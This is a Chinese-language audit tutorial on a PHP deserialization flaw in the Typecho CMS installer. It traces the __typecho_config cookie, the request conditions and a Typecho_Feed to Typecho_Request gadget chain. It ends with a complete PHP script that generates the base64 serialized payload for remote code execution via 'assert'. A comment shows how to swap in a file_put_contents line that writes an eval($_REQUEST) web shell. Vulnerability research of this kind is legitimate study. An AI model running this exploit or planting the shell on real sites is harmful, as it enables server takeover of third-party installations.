关于Typecho代码审计
审计危险函数:unserialize(
这个文件是install.php 必定是安装文件, 安装之后就不会再安装,所以一定要去确定是否可以运行到对应的审计点。
解析
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
从 __typecho_config 的 Cookie 中获取一个经过 Base64 编码和序列化处理的字符串,然后将其解码并还原为原始的 PHP 数据结构
本地搭建
直接访问发现空白,必定前面条件没有满足,那必须让条件满足,且必须能够运行到这个地方。
这个地方必须传递一个referer:http://当前网站的网址
解析:
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;#将键名加上一个前缀
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);#判断是否有$_COOKIE[$key]
return is_array($value) ? $default : $value; #返回的是数组,则返回默认值NULL,否则返回$value
}
总结:没有任何的校验
直接将__typecho_config放在cookie中即可:
审计到这里需要满足三个条件:
1、请求头中host和referer中host保持一致
2、必须传递finish参数
3、__typecho_config要在cookie里面,或者通过post传参进来
继续审计
注意:$adapterName必须是一个对象,将会调用___toString()方法,因为拼接也能调用__toString()方法
准备一个对象,且存在__toString()这个方法的类
Feed这个类,存在一个大概率可以利用的__toString(),接下来审计这个这个方法:
全局搜索_get(
发现Request类有可利用的空间,那么就继续审计里面的方法:
准备payload:
<?php
class Typecho_Feed
{
/** 定义RSS 1.0类型 */
const RSS1 = 'RSS 1.0';
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "\n";
/**
* feed状态
*
* @access private
* @var string
*/
private $_type ;
/**
* 字符集编码
*
* @access private
* @var string
*/
private $_charset;
/**
* 语言状态
*
* @access private
* @var string
*/
private $_lang;
/**
* 聚合地址
*
* @access private
* @var string
*/
private $_feedUrl;
/**
* 基本地址
*
* @access private
* @var unknown
*/
private $_baseUrl;
/**
* 聚合标题
*
* @access private
* @var string
*/
private $_title;
/**
* 聚合副标题
*
* @access private
* @var string
*/
private $_subTitle;
/**
* 版本信息
*
* @access private
* @var string
*/
private $_version;
/**
* 所有的items
*
* @access private
* @var array
*/
private $_items = array();
/**
* 创建Feed对象
* @access public
* @return void
*/
public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
{
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
$this->_items[0] = array(
'title' => '小常常',
'link' => 123,
'date' => 100,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request
{
/**
* 内部参数
*
* @access private
* @var array
*/
private $_params = array(
'screenName' => 'die(phpinfo());' #phpinfo()可以改为file_put_contents("shell.php","<?php
eval($_REQUEST[6]);?>"),即可写入shell,利用漏扫工具进行连接。
);
/**
* 当前过滤器
*
* @access private
* @var array
*/
private $_filter = array(
'assert'
);
}
$config = array(
'adapter' => new Typecho_Feed(1),
'prefix' => 'typecho_'
);
// 序列化
$data = serialize($config);
// 编码
$data = base64_encode($data);
echo $data;
验证
获得payload